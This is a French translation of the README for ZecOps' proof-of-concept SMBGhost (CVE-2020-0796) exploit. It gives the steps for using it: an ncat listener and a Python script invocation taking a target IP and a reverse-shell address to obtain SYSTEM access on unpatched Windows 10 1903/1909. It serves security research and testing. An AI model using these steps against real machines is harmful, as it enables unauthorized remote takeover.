
CVE-2020-0796 Preuve de concept d'exécution de code à distance
(c) 2020 ZecOps, Inc. - https://www.zecops.com - Trouver les erreurs des attaquants
Preuve de concept d'exécution de code à distance pour CVE-2020-0796 / "SMBGhost"
Résultat attendu : Shell inversé avec accès système.
Destiné uniquement à des fins éducatives et de test dans des environnements d'entreprise.
ZecOps décline toute responsabilité quant au code, utilisez-le à vos propres risques.
Veuillez contacter [email protected] si vous êtes intéressé par des outils DFIR sans agent pour serveurs, postes de travail et appareils mobiles pour détecter automatiquement SMBGhost et d'autres types d'attaques.
Assurez-vous que Python et ncat sont installés.
Exécutez calc_target_offsets.bat sur l'ordinateur cible et ajustez les offsets en haut du fichier SMBleedingGhost.py selon la sortie du script (voir aussi la note ci-dessous).
Exécutez ncat avec les arguments de ligne de commande suivants :
ncat -lvp <port>
Où <port> est le numéro de port sur lequel écoutera.
Exécutez SMBleedingGhost.py avec les arguments de ligne de commande suivants :
SMBleedingGhost.py <target_ip> <reverse_shell_ip> <reverse_shell_port>
Où <target_ip> est l'adresse IP de l'ordinateur cible vulnérable. <reverse_shell_ip> et <reverse_shell_port> sont l'adresse IP et le numéro de port sur lequel ncat écoute.
Si tout se passe bien, ncat affichera un shell qui fournit un accès système à l'ordinateur cible.
Remarque : Vous vous demandez peut-être pourquoi il est nécessaire d'exécuter le script calc_target_offsets.bat sur l'ordinateur cible, et si cela ne contredit pas le principe de l'exécution de code à distance. Ces offsets ne sont pas aléatoires et sont les mêmes sur toutes les instances Windows d'une même version de Windows. On pourrait rendre l'attaque plus universelle en détectant la version de Windows cible et en ajustant les offsets automatiquement, ou en ne s'y fiant pas du tout, mais il s'agit seulement d'un POC et nous avons fait ce qui était plus simple. Nous considérons également que c'est une bonne chose que ce POC ne soit pas universel et qu'il ne soit pas pratique pour d'autres usages que les tests et l'apprentissage.

Les versions 1903 et 1909 de Windows 10 sont concernées. Les versions non patchées de Windows 10 1903 ne sont pas prises en charge en raison d'un bug de déréférencement nul dans Windows (corrigé dans KB4512941).
En raison de la nature de l'exploitation, le POC fonctionne mieux sur des cibles fonctionnant sur un ordinateur (ou une machine virtuelle) avec un seul processeur logique. Les cibles avec plus d'un processeur logique fonctionnant dans VirtualBox devraient également être prises en charge, mais le POC est moins fiable dans ce cas. D'autres cibles pourraient ne pas être prises en charge. Pour plus de détails, consultez notre article technique ci-dessous.